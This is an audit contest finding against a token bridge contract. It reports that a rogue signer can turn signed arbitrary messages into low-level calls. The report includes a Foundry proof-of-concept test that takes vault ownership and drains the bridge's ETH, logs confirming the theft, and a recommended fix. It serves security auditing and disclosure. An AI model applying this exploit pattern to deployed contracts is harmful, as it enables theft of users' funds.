Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

A rogue signer can execute arbitrary messages on any address

Summary

A rogue signer can submit a signed arbitrary message that then gets converted into a low level call.

Vulnerability Details

A rogue signer has the permission the sign any type of message, not just ones concerning withdrawTokensToL1. This call is then executed by the bridge. This could then lead to loss of ownership over the vault contract, theft of funds, which in turn could lead to loss of funds for users. Additionally all approved funds can be stolen with this.

Impact

Loss of ownership over the vault contract, funds in the bridge contract and leading to large losses of funds for all users.

Test:

function test_RogueSignerHijacksVault() public {
// Give the bridge some eth
vm.deal(address(tokenBridge), 100e18);
address vaultOwner = vault.owner();
console2.log("Vault owner before: ", vaultOwner);
console2.log("Bridge balance before: ", address(tokenBridge).balance);
console2.log("Operator balance before: ", (operator.addr).balance);
// Create rogue messages
// Take contract ownership
bytes memory messageTakeOverVault = abi.encodeWithSelector(Ownable.transferOwnership.selector, address(operator.addr));
bytes memory fullMessageVaultTakeOver = abi.encode(address(vault), 0, messageTakeOverVault);
// Steal funds
bytes memory fullMessageStealFunds = abi.encode(operator.addr, 100e18, "");
// Send rogue messages
(uint8 v, bytes32 r, bytes32 s) = _signMessage(fullMessageVaultTakeOver, operator.key);
tokenBridge.sendToL1(v, r, s, fullMessageVaultTakeOver);
(uint8 v2, bytes32 r2, bytes32 s2) = _signMessage(fullMessageStealFunds, operator.key);
tokenBridge.sendToL1(v2, r2, s2, fullMessageStealFunds);
address vaultOwnerAfter = vault.owner();
console2.log("Vault owner after: ", vaultOwnerAfter);
console2.log("Bridge balance after: ", address(tokenBridge).balance);
console2.log("Operator balance after: ", (operator.addr).balance);
}

Logs:

Vault owner before: 0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264
Bridge balance before: 100000000000000000000
Operator balance before: 0
Vault owner after: 0xbC32b0FCDb9b55F5ECE07BA7F8059bA42D331F4C
Bridge balance after: 0
Operator balance after: 100000000000000000000

Tools Used

Manual review

Recommendations

Make the sendToL1(...) function private.

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

sendToL1(): Wrong function visibility

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.